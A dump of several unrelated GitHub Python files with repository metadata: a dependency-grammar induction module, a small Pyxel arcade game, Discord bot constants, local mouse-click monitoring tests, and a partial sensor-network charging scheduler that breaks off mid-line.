'kilian'\n\nimport re\nfrom random import seed\n\nfrom grammar.induction.decomposition import join_spans, fanout_limited_partitioning, left_branching_partitioning, \\\n right_branching_partitioning, fanout_limited_partitioning_left_to_right, fanout_limited_partitioning_argmax, fanout_limited_partitioning_random_choice, fanout_limited_partitioning_no_new_nont\n\nfrom dependency.labeling import AbstractLabeling\nfrom grammar.dcp import DCP_rule, DCP_term, DCP_var, DCP_index\nfrom grammar.lcfrs import LCFRS, LCFRS_lhs, LCFRS_var\nfrom dependency.top_bottom_max import top_max, bottom_max\n\n\n################### Top level methods for grammar induction. ###################\n\n\ndef induce_grammar(trees, nont_labelling, term_labelling, recursive_partitioning, start_nont='START'):\n \"\"\"\n :rtype: LCFRS\n :param trees: corpus of HybridTree (i.e. list (or Generator for lazy IO))\n :type trees: __generator[HybridTree]\n :type nont_labelling: AbstractLabeling\n :param term_labelling: HybridTree, NodeId -> str\n :param recursive_partitioning: HybridTree -> RecursivePartitioning\n :type start_nont: str\n :rtype: int, LCFRS\n\n Top level method to induce an LCFRS/DCP-hybrid grammar for dependency parsing.\n \"\"\"\n grammar = LCFRS(start_nont)\n n_trees = 0\n for tree in trees:\n n_trees += 1\n for rec_par in recursive_partitioning:\n match = re.search(r'no_new_nont', rec_par.__name__)\n if match:\n rec_par_int = rec_par(tree, grammar.nonts(), nont_labelling)\n else:\n rec_par_int = rec_par(tree)\n\n rec_par_nodes = tree.node_id_rec_par(rec_par_int)\n\n (_, _, nont_name) = add_rules_to_grammar_rec(tree, rec_par_nodes, grammar, nont_labelling, term_labelling)\n\n # Add rule from top start symbol to top most nonterminal for the hybrid tree\n lhs = LCFRS_lhs(start_nont)\n lhs.add_arg([LCFRS_var(0, 0)])\n rhs = [nont_name]\n dcp_rule = DCP_rule(DCP_var(-1, 0), [DCP_var(0, 0)])\n\n grammar.add_rule(lhs, rhs, 1.0, [dcp_rule])\n\n grammar.make_proper()\n return n_trees, grammar\n\n\n# Recursive partitioning strategies\ndef left_branching(tree):\n return left_branching_partitioning(len(tree.id_yield()))\n\n\ndef right_branching(tree):\n return right_branching_partitioning(len(tree.id_yield()))\n\n\ndef direct_extraction(tree):\n return tree.recursive_partitioning()\n\n\ndef cfg(tree):\n return fanout_k(tree, 1)\n\n\nfanout_k = lambda tree, k: fanout_limited_partitioning(tree.recursive_partitioning(), k)\nfanout_k_left_to_right = lambda tree, k: fanout_limited_partitioning_left_to_right(tree.recursive_partitioning(), k)\nfanout_k_argmax = lambda tree, k: fanout_limited_partitioning_argmax(tree.recursive_partitioning(), k)\nfanout_k_random = lambda tree, k: fanout_limited_partitioning_random_choice(tree.recursive_partitioning(), k)\nfanout_k_no_new_nont = lambda tree, nonts, nont_labelling, fallback, k: fanout_limited_partitioning_no_new_nont(tree.recursive_partitioning(), k, tree, nonts, nont_labelling, fallback)\n\n\nclass RecursivePartitioningFactory:\n def __init__(self):\n self.__partitionings = {}\n\n def register_partitioning(self, name, partitioning):\n self.__partitionings[name] = partitioning\n\n def get_partitioning(self, name):\n partitioning_names = name.split(',')\n partitionings = []\n for name in partitioning_names:\n match = re.search(r'fanout-(\\d+)([-\\w]*)', name)\n if match:\n k = int(match.group(1))\n trans = match.group(2)\n if trans == '': #right-to-left bfs\n rec_par = lambda tree: fanout_k(tree, k)\n rec_par.__name__ = 'fanout_' + str(k)\n partitionings.append(rec_par)\n if trans == '-left-to-right':\n rec_par = lambda tree: fanout_k_left_to_right(tree, k)\n rec_par.__name__ = 'fanout_' + str(k) + '_left_to_right'\n partitionings.append(rec_par)\n if trans == '-argmax':\n rec_par = lambda tree: fanout_k_argmax(tree, k)\n rec_par.__name__ = 'fanout_' + str(k) + '_argmax'\n partitionings.append(rec_par)\n # set seed, if random strategy is chosen\n rand_match = re.search(r'-random-(\\d*)', trans)\n if rand_match:\n s = int(rand_match.group(1))\n seed(s)\n rec_par = lambda tree: fanout_k_random(tree, k)\n rec_par.__name__ = 'fanout_' + str(k) + '_random'\n partitionings.append(rec_par)\n # set fallback strategy if no position corresponds to an existing nonterminal\n no_new_nont_match = re.search(r'-no-new-nont([-\\w]*)', trans)\n if no_new_nont_match:\n fallback = no_new_nont_match.group(1)\n rand_match = re.search(r'-random-(\\d*)', fallback)\n if rand_match:\n s = int(rand_match.group(1))\n seed(s)\n fallback = '-random'\n rec_par = lambda tree, nonts, nont_labelling: fanout_k_no_new_nont(tree, nonts, nont_labelling, k, fallback)\n rec_par.__name__ = 'fanout_' + str(k) + '_no_new_nont'\n partitionings.append(rec_par)\n else:\n rec_par = self.__partitionings[name]\n if rec_par:\n partitionings.append(rec_par)\n else:\n return None\n if partitionings:\n return partitionings\n else:\n return None\n\n\ndef the_recursive_partitioning_factory():\n factory = RecursivePartitioningFactory()\n factory.register_partitioning('left-branching', left_branching)\n factory.register_partitioning('right-branching', right_branching)\n factory.register_partitioning('direct-extraction', direct_extraction)\n factory.register_partitioning('cfg', cfg)\n return factory\n\n\n###################################### Recursive Rule extraction method ###################################\ndef add_rules_to_grammar_rec(tree, rec_par, grammar, nont_labelling, term_labelling):\n \"\"\"\n Extract LCFRS/DCP-hybrid-rules from some hybrid tree, according to some recursive partitioning\n and add them to some grammar.\n :rtype: ([[str]],[[str]],str)\n :param tree: HybridTree\n :param rec_par: pair of (list of string) and (list of rec_par))\n :param grammar: LCFRS\n :type nont_labelling: AbstractLabeling\n :param term_labelling: HybridTree, node_id -> string\n :return: (top_max, bottom_max, nont_name) of root in rec_par :raise Exception:\n \"\"\"\n (node_ids, children) = rec_par\n\n # Sanity check\n if children and len(node_ids) == 1:\n raise Exception('A singleton in a recursive partitioning should not have children.')\n\n if len(node_ids) == 1:\n t_max = top_max(tree, node_ids)\n b_max = bottom_max(tree, node_ids)\n\n dependency_label = tree.node_token(node_ids[0]).deprel()\n\n dcp = [create_leaf_DCP_rule(b_max, dependency_label)]\n lhs = create_leaf_lcfrs_lhs(tree, node_ids, t_max, b_max, nont_labelling, term_labelling)\n\n grammar.add_rule(lhs, [], 1.0, dcp)\n\n return t_max, b_max, lhs.nont()\n\n else:\n # Create rules for children and obtain top_max and bottom_max of child nodes\n child_t_b_max = []\n for child in children:\n child_t_b_max.append(add_rules_to_grammar_rec(tree, child, grammar, nont_labelling, term_labelling))\n\n # construct DCP equations\n dcp = []\n t_max = top_max(tree, node_ids)\n b_max = bottom_max(tree, node_ids)\n\n # create equations for synthesized attributes on LHS\n for arg in range(len(t_max)):\n dcp.append(create_dcp_rule(-1, len(b_max) + arg, t_max, b_max, child_t_b_max))\n\n # create equations for inherited attributes on RHS\n for cI in range(len(child_t_b_max)):\n child = child_t_b_max[cI]\n for arg in range(len(child[1])):\n dcp.append(create_dcp_rule(cI, arg, t_max, b_max, child_t_b_max))\n\n # create LCFRS-rule, attach dcp and add to grammar\n lhs = create_lcfrs_lhs(tree, node_ids, t_max, b_max, children, nont_labelling)\n rhs = [nont_name for (_, _, nont_name) in child_t_b_max]\n grammar.add_rule(lhs, rhs, 1.0, dcp)\n\n return t_max, b_max, lhs.nont()\n\n\ndef create_dcp_rule(mem, arg, top_max, bottom_max, children):\n \"\"\"\n Create DCP equation for some synthesized attributes of LHS nont\n or inherited attributes of RHS nont of an LCFRS-sDCP-hybrid rule.\n :rtype: DCP_rule\n :param mem: int (member part of attribute: -1 for LHS, >=0 for RHS)\n :param arg: int (argument part of attribute: >= 0)\n :param top_max: list of list of string (top_max of nont on LHS)\n :param bottom_max: list of list of string (bottom_max of nont on LHS)\n :param children: list of pairs of list of list of string\n (pair of (top_max, bottom_max) for every nont on RHS)\n :return: DCP_rule :raise Exception:\n \"\"\"\n lhs = DCP_var(mem, arg)\n rhs = []\n if mem < 0:\n conseq_ids = top_max[arg - len(bottom_max)][:]\n else:\n conseq_ids = children[mem][1][arg][:]\n while conseq_ids:\n id = conseq_ids[0]\n if mem >= 0:\n c_index = -1\n else:\n c_index = 0\n match = False\n while c_index < len(children) and not match:\n if c_index >= 0:\n child = children[c_index]\n else:\n # If equation for inherited arguments of some nont on RHS is computed,\n # the inherited arguments of the LHS are used in addition.\n # The second component is empty, which allows for some magic below!\n child = (bottom_max, [])\n t_seq_index = 0\n while t_seq_index < len(child[0]) and not match:\n t_seq = child[0][t_seq_index]\n # check if correct child synthesized attribute was found\n if id == t_seq[0]:\n # sanity check, is t_seq a prefix of conseq_ids\n if conseq_ids[:len(t_seq)] != t_seq:\n raise Exception\n # Append variable corresponding to synthesized attribute of nont on RHS.\n # Or, append variable corresponding to inherited attribute of nont on LHS,\n # where len(child[1]) evaluates to 0 as intended.\n rhs.append(DCP_var(c_index, len(child[1]) + t_seq_index))\n # remove matched prefix from conseq_ids\n conseq_ids = conseq_ids[len(t_seq):]\n # exit two inner while loops\n match = True\n t_seq_index += 1\n c_index += 1\n # Sanity check, that attribute was matched:\n if not match:\n raise Exception('Expected ingredient for synthesised or inherited argument was not found.')\n return DCP_rule(lhs, rhs)\n\n\ndef create_lcfrs_lhs(tree, node_ids, t_max, b_max, children, nont_labelling):\n \"\"\"\n Create the LCFRS_lhs of some LCFRS-DCP hybrid rule.\n :rtype: LCFRS_lhs\n :param tree: HybridTree\n :param node_ids: list of string (node in an recursive partitioning)\n :param t_max: top_max of node_ids\n :param b_max: bottom_max of node ids\n :param children: list of pairs of list of list of string\n# (pairs of top_max / bottom_max of child nodes in recursive partitioning)\n :type nont_labelling: AbstractLabeling\n :return: LCFRS_lhs :raise Exception:\n \"\"\"\n positions = map(tree.node_index, node_ids)\n spans = join_spans(positions)\n\n children_spans = list(map(join_spans, [map(tree.node_index, ids) for (ids, _) in children]))\n\n lhs = LCFRS_lhs(nont_labelling.label_nonterminal(tree, node_ids, t_max, b_max, len(spans)))\n for (low, high) in spans:\n arg = []\n i = low\n while i <= high:\n mem = 0\n match = False\n while mem < len(children_spans) and not match:\n child_spans = children_spans[mem]\n mem_arg = 0\n while mem_arg < len(child_spans) and not match:\n child_span = child_spans[mem_arg]\n if child_span[0] == i:\n arg.append(LCFRS_var(mem, mem_arg))\n i = child_span[1] + 1\n match = True\n mem_arg += 1\n mem += 1\n # Sanity check\n if not match:\n raise Exception('Expected ingredient for LCFRS argument was not found.')\n lhs.add_arg(arg)\n\n return lhs\n\n\ndef create_leaf_DCP_rule(bottom_max, dependency_label):\n \"\"\"\n Creates a DCP rule for a leaf of the recursive partitioning.\n Note that the linked LCFRS-rule has an empty RHS.\n If the corresponding node in the hybrid tree is not a leaf, i.e. bottom_max != [],\n there is exactly one inherited argument <0,0>. The only synthesized argument\n generates a DCP_term of the form \"[0:{dependency_label}]( <0,0> ).\n Otherwise, there is no inherited argument, and the only synthesized argument\n generates a DCP_term of the form \"[0:{dependency_label}]( )\".\n :rtype: DCP_rule\n :param bottom_max: list of list of string\n :param dependency_label: dependency label linked to the corresponding terminal\n :return: DCP_rule\n \"\"\"\n if bottom_max:\n arg = 1\n else:\n arg = 0\n lhs = DCP_var(-1, arg)\n term_head = DCP_index(0, dependency_label)\n if bottom_max:\n term_arg = [DCP_var(-1, 0)]\n else:\n term_arg = []\n rhs = [DCP_term(term_head, term_arg)]\n return DCP_rule(lhs, rhs)\n\n\ndef create_leaf_lcfrs_lhs(tree, node_ids, t_max, b_max, nont_labelling, term_labelling):\n \"\"\"\n Create LCFRS_lhs for a leaf of the recursive partitioning,\n i.e. this LCFRS creates (consumes) exactly one terminal symbol.\n :param tree: HybridTree\n :param node_ids: list of string\n :param t_max: top_max of node_ids\n :param b_max: bottom_max of node_ids\n :type nont_labelling: AbstractLabeling\n :param term_labelling: HybridTree, node_id -> string\n :return: LCFRS_lhs\n \"\"\"\n\n # Build LHS\n lhs = LCFRS_lhs(nont_labelling.label_nonterminal(tree, node_ids, t_max, b_max, 1))\n id = node_ids[0]\n arg = [term_labelling(tree.node_token(id))]\n lhs.add_arg(arg)\n return lhs\n\n\n__all__ = [\"induce_grammar\", \"the_recursive_partitioning_factory\"]\n","repo_name":"kilian-gebhardt/panda-parser","sub_path":"dependency/induction.py","file_name":"induction.py","file_ext":"py","file_size_in_byte":14860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24998310869","text":"from random import randint\r\n\r\nimport pyxel\r\n\r\nTILE_SIZE = 8\r\nMAP_X = 160\r\nMAP_Y = 120\r\nclass App:\r\n def __init__(self):\r\n pyxel.init(MAP_X, MAP_Y, caption=\"Hello Pyxel\")\r\n pyxel.load(\"sample.pyxres\")\r\n self.score = 0\r\n self.atr = 0\r\n self.gameover = 0\r\n self.player_x = 72\r\n self.player_y = MAP_Y - TILE_SIZE*4\r\n self.player_vy = 0\r\n self.floor = [0, 90, True]\r\n self.movefloor = [(randint(0, 104),randint(60, 70), True)]\r\n self.fruit = [(i * 60, randint(0, 104), randint(0, 2), True) for i in range(4)]\r\n self.item = [(i * 60, randint(0, 104), True) for i in range(4)]\r\n pyxel.run(self.update, self.draw)\r\n\r\n def update(self):\r\n if self.gameover:\r\n return\r\n \r\n if pyxel.btnp(pyxel.KEY_ESCAPE):\r\n pyxel.quit()\r\n\r\n self.update_player()\r\n\r\n self.score += 1\r\n\r\n self.floor[0] = self.update_floor(0, MAP_Y - TILE_SIZE * 2, True)\r\n\r\n for i, v in enumerate(self.movefloor):\r\n self.movefloor[i] = self.update_movefloor(*v)\r\n\r\n for i, v in enumerate(self.fruit):\r\n self.fruit[i] = self.update_fruit(*v)\r\n\r\n for i, v in enumerate(self.item):\r\n self.item[i] = self.update_item(*v)\r\n\r\n def update_player(self):\r\n #左へ進む\r\n if pyxel.btn(pyxel.KEY_LEFT):\r\n self.player_x = max(self.player_x - 2, 0)\r\n self.atr = 0\r\n #右へ進む\r\n if pyxel.btn(pyxel.KEY_RIGHT):\r\n self.player_x = min(self.player_x + 2, pyxel.width - 16)\r\n self.atr = 1\r\n \r\n #重力\r\n self.player_y += self.player_vy\r\n self.player_vy = min(self.player_vy + 1, 6)\r\n \r\n \r\n def update_floor(self, x, y, is_active):\r\n #当たり判定\r\n if (\r\n #self.player_x + 16 >= x\r\n #and self.player_x <= x + 40\r\n #and \r\n self.player_y + 16 >= y\r\n and self.player_y <= y + 8\r\n and self.player_vy >= 0\r\n #and self.player_is_alive\r\n ):\r\n if pyxel.btn(pyxel.KEY_SPACE) :\r\n self.player_vy += -10\r\n else:\r\n #ブロックの上に着地\r\n self.player_y = MAP_Y - TILE_SIZE*4\r\n self.player_vy = 0\r\n\r\n return x, y, is_active\r\n\r\n def update_movefloor(self, x, y, is_active):\r\n \r\n if is_active:\r\n #当たり判定\r\n if (\r\n self.player_x + 16 >= x\r\n and self.player_x <= x + 40\r\n and self.player_y + 16 >= y\r\n and self.player_y <= y + 8\r\n and self.player_vy > 0\r\n #and self.player_is_alive\r\n ):\r\n\r\n if pyxel.btn(pyxel.KEY_SPACE) :\r\n self.player_vy += -10\r\n else:\r\n self.player_y = y - TILE_SIZE *2\r\n self.player_vy = 0\r\n \r\n #当たり判定左から\r\n if (self.player_x + 16 <= x + 40\r\n and self.player_x + 16 >= x\r\n and self.player_y <= y + 8\r\n and self.player_y + 16 > y\r\n ):\r\n \r\n self.player_x -= 2\r\n \r\n #当たり判定右から\r\n elif (self.player_x <= x + 40\r\n and self.player_x >= x\r\n and self.player_y <= y + 8\r\n and self.player_y + 16 > y\r\n ):\r\n \r\n self.player_x += 2\r\n\r\n\r\n #左に行った場合、右に戻している。\r\n if x < -40:\r\n x += 180\r\n y = randint(8, 100)\r\n is_active = True\r\n\r\n return x, y, is_active\r\n\r\n def update_fruit(self, x, y, kind, is_active):\r\n if is_active and abs(x - self.player_x) < 12 and abs(y - self.player_y) < 12:\r\n if self.score >= 100:\r\n self.score -= 100\r\n elif self.score < 100:\r\n self.score = 0\r\n self.gameover = 1\r\n\r\n y -= 140\r\n\r\n\r\n y += 1\r\n\r\n if y > 120:\r\n y -= 140\r\n x = randint(8, 100)\r\n kind = randint(0, 2)\r\n return (x, y, kind, is_active)\r\n\r\n def update_item(self, x, y, is_active):\r\n if is_active and abs(x - self.player_x) < 8 and abs(y - self.player_y) < 8:\r\n self.score += 100\r\n\r\n x += 200\r\n\r\n x -= 2\r\n\r\n if x < -40:\r\n x += 200\r\n y = randint(40, 65)\r\n\r\n return (x, y, is_active)\r\n\r\n \r\n def draw(self):\r\n #pyxel.cls(15)\r\n pyxel.bltm(0, 0, 0, 0, 0, MAP_X, MAP_Y)\r\n #pyxel.text(55, 41, \"Hello World!\", pyxel.frame_count % 16)\r\n # draw player\r\n pyxel.blt(self.player_x, self.player_y, 0, 0, 0, 16 * (1 - (self.atr << 1)), 16, 12)\r\n #pyxel.blt(10, 10, 0, 0 , 0, 16, 16, 12)\r\n\r\n # draw floors\r\n #for x, y, is_active in self.floor:\r\n #pyxel.blt(0, 90, 0, 0, 40, 160, 5, 12)\r\n\r\n for x, y, is_active in self.movefloor:\r\n pyxel.blt(x, y, 0, 0, 16, 40, 8, 12)\r\n\r\n # draw fruits\r\n for x, y, kind, is_active in self.fruit:\r\n if is_active:\r\n pyxel.blt(x, y, 0, 32 + kind * 16, 0, 16, 16, 12)\r\n \r\n # draw item\r\n for x, y, is_active in self.item:\r\n pyxel.blt(x, y, 0, 0, 24, 8, 8, 12)\r\n\r\n \r\n \r\n\r\n # draw score\r\n s = \"SCORE {:>4}\".format(self.score)\r\n pyxel.text(5, 4, s, 1)\r\n pyxel.text(4, 4, s, 7)\r\n\r\n #ゲームオーバー中央表示\r\n if self.gameover:\r\n pyxel.text((MAP_X >> 1 )- 20, (MAP_Y >> 1) + 5, \"GAME OVER\", 7)\r\n\r\n\r\n\r\n\r\n\r\nApp()\r\n","repo_name":"nakanoyuma/newgame","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32760997037","text":"from datetime import datetime\n\nimport discord\nimport pytz\n\nTIME_ZONES = ['ACT', 'ACDT', 'ACST', 'ADT', 'AEDT',\n 'AEST', 'AKDT', 'AKST', 'AMT', 'AMST', 'AST', 'AWST',\n 'BOT', 'BRT', 'BRST', 'BST', 'CDT', 'CEST', 'CET',\n 'CHST', 'CLT', 'CLST', 'COT', 'CST', 'CXT', 'CWST',\n 'ECT', 'EDT', 'EEST', 'EST', 'FKST', 'FKT', 'FNT', 'GFT',\n 'GMT', 'GMT+1', 'GMT+2', 'GMT+3', 'GMT+4', 'GMT+5', 'GMT+6',\n 'GMT+7', 'GMT+8', 'GMT+9', 'GMT+10', 'GMT+11', 'GMT+12',\n 'GMT-1', 'GMT-2', 'GMT-3', 'GMT-4', 'GMT-5', 'GMT-6', 'GMT-7',\n 'GMT-8', 'GMT-9', 'GMT-10', 'GMT-11', 'GMT-12',\n 'GYT', 'HADT', 'HAST', 'HST', 'HKT', 'IST', 'JST', 'KUYT',\n 'LHDT', 'LHST', 'MDT', 'MSD', 'MSK', 'MST', 'NDT',\n 'NFT', 'NST', 'NZST', 'NZDT', 'PDT', 'PST', 'PET', 'PYT', 'PYST',\n 'SAMT', 'SDT', 'SRT', 'SST',\n 'UTC', 'UTC+1', 'UTC+2', 'UTC+3', 'UTC+4', 'UTC+5', 'UTC+6',\n 'UTC+7', 'UTC+8', 'UTC+9', 'UTC+10', 'UTC+11', 'UTC+12',\n 'UTC-1', 'UTC-2', 'UTC-3', 'UTC-4', 'UTC-5', 'UTC-6', 'UTC-7',\n 'UTC-8', 'UTC-9', 'UTC-10', 'UTC-11', 'UTC-12',\n 'UYST', 'UYT', 'VET', 'WDT', 'WEST', 'WET', 'WST', 'YST', 'YDT']\n\nRELEASE_DATES = [\n (\"PC Release\", datetime(2018, 11, 1, tzinfo=pytz.timezone('US/Mountain'))),\n (\"Console Release\", datetime(2018, 1, 26, tzinfo=pytz.timezone('US/Mountain'))),\n (\"Deviljho DLC\", datetime(2018, 4, 1, tzinfo=pytz.timezone('US/Mountain')))\n ]\n\nPLATFORMS = {'PC': 2, 'Console': 1}\n","repo_name":"czarni/czarni_bot","sub_path":"bot/config/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"gu","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"560752912","text":"from src.ui_automation_tools.mouse_events_monitoring import *\nfrom src.ui_automation_tools.screen_tools import *\nimport time\nfrom settings import mouse_nVirtKey_dict\n\ndef test_get_mouse_state():\n\t\"\"\"\n\tThis function is meant for testing out the get_mouse_state() method from\n\tui_automation_tools.py in a very simple way with only print statements! The reason\n\tfor the desirability of print statements is because this function is not only meant for\n\ttesting purposes but also for demonstrating how it is exactly that the state of a mouse changes\n\tand how this information is provided to us. There are 4 possible scenarions:\n\n\tTerminology:\n\tLMB: Left mouse button (RMB is obv now)\n\tinit state: state before mouse action taken\n\tmid state: state during mouse action taking place\n\tfinal state: state after mouse action taken\n\tclicked: this literally means clicking as you would click on any button\n\tpressed: this means the LMB is being maintained pressed\n\tunpressed: this means that the LMB is now free\n\n\tNOTE: The time.sleep(2) line is very important! By having a second or 2 of idling time between each succesive\n\twhile loop this provides the necessary amount of time required for the user to take some action with his/her\n\tmouse so that the state transitions which take place for each scenario become legibile for user reading the\n\tprint statement outputs in the console.\n\n\tScenario #1: #Scenario #2:\n\tinit state = 1 init state = 0\n\t* LMB clicked * * LMB clicked *\n\tfinal state = 0 final state = 1\n\n\t#Scenario #3: #Scenario #4:\n\tinit state = 0 init state = 1\n\t* LMB pressed * * LMB pressed *\n\tmid state = -127 mid state = -128\n\t* LMB unpressed * * LMB unpressed *\n\tfinal state = 1 final state = 0\n\n\t:return:\n\t\"\"\"\n\twhile True:\n\t\tprint(\"\\nChecking and getting mouse state and coordinates....\")\n\t\tmouse_coords_and_state = get_mouse_state()\n\t\tmouse_coords = mouse_coords_and_state[0]\n\t\tmouse_state = mouse_coords_and_state[1]\n\t\tprint(\"mouse (x, local_y) coords: {0}\".format(mouse_coords))\n\t\tprint(\"mouse state: {0}\".format(mouse_state))\n\t\tseconds_to_sleep = 3\n\t\tprint(\"Sleeping for...\")\n\t\tfor i in range(seconds_to_sleep):\n\t\t\tprint(\"{0} seconds\".format(i+1))\n\t\t\ttime.sleep(1)\n\n\ndef test_mouse_click_event_methods():\n\tinit_key_states = get_init_mouse_states(mouse_nVirtKey_dict)\n\twhile True:\n\t\tcoords = pyautogui.position()\n\t\tmouse_click_events = get_mouse_click_events(init_key_states, mouse_nVirtKey_dict)\n\t\tif mouse_button_clicked(mouse_click_events, [\"LMB\"]) is True:\n\t\t\tprint(\"\\nMouse Click Event Detected\")\n\t\t\tclicked_mouse_button = get_mouse_button_clicked_str(mouse_click_events)\n\t\t\tprint(\"Mouse Button Clicked: {0}\".format(clicked_mouse_button))\n\t\t\tprint(\"{0} Click Location Coordinates: {1}\".format(clicked_mouse_button, coords))\n\t\t\tprint(\"Updating LMB & RMB initial key states...\\n\")\n\t\t\tinit_key_states = update_mouse_states(init_key_states, mouse_click_events)\n\t\telse:\n\t\t\tprint(\"No Click Event Detected\")\n\t\ttime.sleep(0.1)\n\t\t\n\t\t\ndef test_click_event_methods():\n\tinit_key_states = get_init_mouse_states(mouse_nVirtKey_dict)\n\twhile True:\n\t\tcoords = pyautogui.position()\n\t\tclick_events = get_mouse_click_events(init_key_states, mouse_nVirtKey_dict)\n\t\tif mouse_button_clicked(click_events, [\"LMB\"]) is True:\n\t\t\tprint(\"\\nMouse Click Event Detected\")\n\t\t\tclicked_mouse_button = get_mouse_button_clicked_str(click_events)\n\t\t\tprint(\"Mouse Button Clicked: {0}\".format(clicked_mouse_button))\n\t\t\tprint(\"{0} Click Location Coordinates: {1}\".format(clicked_mouse_button, coords))\n\t\t\tprint(\"Updating LMB & RMB initial key states...\\n\")\n\t\t\tinit_key_states = update_mouse_states(init_key_states, click_events)\n\t\telse:\n\t\t\tprint(\"No Click Event Detected\")\n\t\ttime.sleep(0.1)\n\n\n","repo_name":"xaviergoby/RSAI_JARVIS","sub_path":"tests/test_mouse_events_monitoring.py","file_name":"test_mouse_events_monitoring.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30232625846","text":"import numpy as np\nimport math, time\nimport random\nfrom collections import defaultdict\n\nrandom.seed(11)\nduplicate = []\ni = 0\nwhile i < 500:\n x = random.randint(0,1000)\n y = random.randint(0,1000)\n if (x,y) not in duplicate and (x,y) != (500,500):\n duplicate.append((x,y))\n i += 1\nduplicate.append((500,500))\n# print(duplicate)\n\nlocations = duplicate\ndef create_distance():\n dmax = 0\n distance = [[0 for _ in range(N+1)] for _ in range(N+1)] # include BS\n for i in range(N+1):\n for j in range(N+1):\n distance[i][j] = math.sqrt((locations[i][0]-locations[j][0])**2 + (locations[i][1]-locations[j][1])**2)\n dmax = max(dmax, distance[i][j])\n return distance, dmax\n\nN = 500\nM = 35\n\n# Sensor node properties\nE_MAX = 10800 # max energy of sensor\nE_MIN = 540 # min energy of sensor\ndistance, D_MAX = create_distance() # max distance between 2 nodes \np_r = 5 # received power of node \nt_s = 10000 # battery charging/replacement time of MC ==> NOT CONFIRMED, (s)\nt_d = 5 * t_s # time interval between two adjacent rounds ==> NOT CONFIRMED\n# consumption_energy_rate = []\n# for i in range(N):\n# random.seed(i)\n# consumption_energy_rate.append(random.uniform(0.01, 0.1))\n# consumption_energy_rate = np.array(consumption_energy_rate)\n# print(consumption_energy_rate)\n# consumption_energy_rate = np.array(create_consumption_energy_rate(distance))\n\n# MC properties\nE = 108000\nv = 5\ne = 1 # moving related coefficient \ncharging_efficency = 1 #==> NOT CONFIRMED\np0 = p_r / charging_efficency\nmax_energy_and_time = (E_MAX - E_MIN) / charging_efficency + D_MAX * e\nreplacing = t_s + 2 * D_MAX / v # assume that v is the same of all the MCs\ncharging_and_moving_time = (E_MAX - E_MIN) / p_r + D_MAX / v\nPHI = int(replacing / charging_and_moving_time) + 1\n\ndef find_sigma_in_cycle(E: np.array, n: int): # E la mang co M phan tu\n status = [1] * M # check dead or alive of MC\n min_num_of_rounds = (E / max_energy_and_time).astype(int)\n #min_num_of_rounds = np.array([4,4,4,4,1,2]) # test thử\n res = []\n max_rounds_per_cycle = 0\n num_of_avail_MCs = 0\n while True:\n max_rounds_per_cycle += 1\n num_of_avail_MCs += sum(status)\n res.append(num_of_avail_MCs)\n if num_of_avail_MCs >= n:\n return max_rounds_per_cycle, res\n else: \n min_num_of_rounds -= 1\n for i in range(M):\n if min_num_of_rounds[i] == 0:\n status[i] = 0\n elif min_num_of_rounds[i] < 0:\n if min_num_of_rounds[i] + PHI == 0:\n status[i] = 1\n min_num_of_rounds[i] = (E[i] / max_energy_and_time).astype(int)\n\ndef list_nodes_require_charging_in_cycle_k(sigma_k):\n required_charging = [1] * N\n n_i = 0\n for i in range(N):\n for j in range(len(array_sum_avai_MCs_in_cycle_k)):\n if array_sum_avai_MCs_in_cycle_k[j] >= (N-n_i):\n sigma_i_1 = j\n break\n if L_K[i] >= (sigma_i_1 + sigma_k_next - 1) * max_energy_and_time + t_d:\n # print((sigma_i_1 + sigma_k_next - 1) * max_energy_and_time + t_d)\n required_charging[i] = 0\n else:\n n_i += 1\n return required_charging\n\ndef find_index_of_avai_MCs(E_l): # in round L, E_l gom M phan tu\n res = []\n for i in range(M):\n if E_l[i] >= max_energy_and_time + D_MAX * e:\n res.append(i)\n round_min_num_of_rounds[i] = 608 \n else:\n if round_min_num_of_rounds[i] == 608: # this MS needs to return to BS RIGHT AT THIS ROUND\n round_min_num_of_rounds[i] = 0\n return res\n\ndef update_after_MPSP(list_avai_MCs, E_l, consumed, E_after_charging): # hàm này được chạy trước hàm find_index_of_avai_MCs, để đảm đã bao gồm các MC có thể quay trở lại từ BS\n E_l_plus_1 = [0] * M\n for j in list_avai_MCs:\n E_l_plus_1[j] = E_l[j] - consumed[j]\n\n list_not_avai_MCs = set(list(range(M))).difference(set(list_avai_MCs))\n for j in list_not_avai_MCs:\n round_min_num_of_rounds[j] -= 1\n if round_min_num_of_rounds[j] + PHI == 0:\n E_l_plus_1[j] = E_after_charging # cập nhật những MC có thể quay trở lại từ BS\n else:\n E_l_plus_1[j] = E_l[j]\n \n return E_l_plus_1\n\nround_min_num_of_rounds = [608] * M\ndef find_sigma_i_k_in_round(E_l: np.array, i, E_after_charging): # cần cập nhật E_l gồm những thằng MC trở lại; E_l gom M phan tu; i là index node đang xét trong RCS\n list_avai_MCs = find_index_of_avai_MCs(E_l) # => E_l gom M phan tu\n status = [0] * M\n temp = np.zeros(M)\n for j in range(M):\n if j in list_avai_MCs:\n temp[j] = E_l[j] / max_energy_and_time\n status[j] = 1 \n else:\n temp[j] = round_min_num_of_rounds[j]\n left_rounds_in_cycle = 0\n num_of_avail_MCs = 0\n res = []\n while True:\n left_rounds_in_cycle += 1\n num_of_avail_MCs += sum(status)\n res.append(num_of_avail_MCs)\n if num_of_avail_MCs >= n_refine - (i + 1) + 1: # i chưa phải là index trong refine sequence ==> tìm index của i trong đó\n return left_rounds_in_cycle, res\n else:\n temp -= 1 \n for j in range(M):\n if temp[j] == 0:\n temp[j] = 0\n status[j] = 0\n elif temp[j] < 0:\n if temp[j] + PHI == 0:\n status[j] = 1 \n temp[j] = E_after_charging\n\ndef calculate_E_i_low_and_E_i_high(E_l, i, sigma_k_next, e_i, total_time_before, E_after_charging): # of each node; E_l gom M phan tu; i là index trong RCS\n total_energy_comsumed_before = e_i - total_time_before * consumption_energy_rate[refined_charging_sequence[i]] # chú ý consumption_energy_rate cũng phải sắp xếp theo thứ tự của L_K\n \n # E_i_low\n max_waiting_time = (find_sigma_i_k_in_round(E_l, i, E_after_charging)[0] + 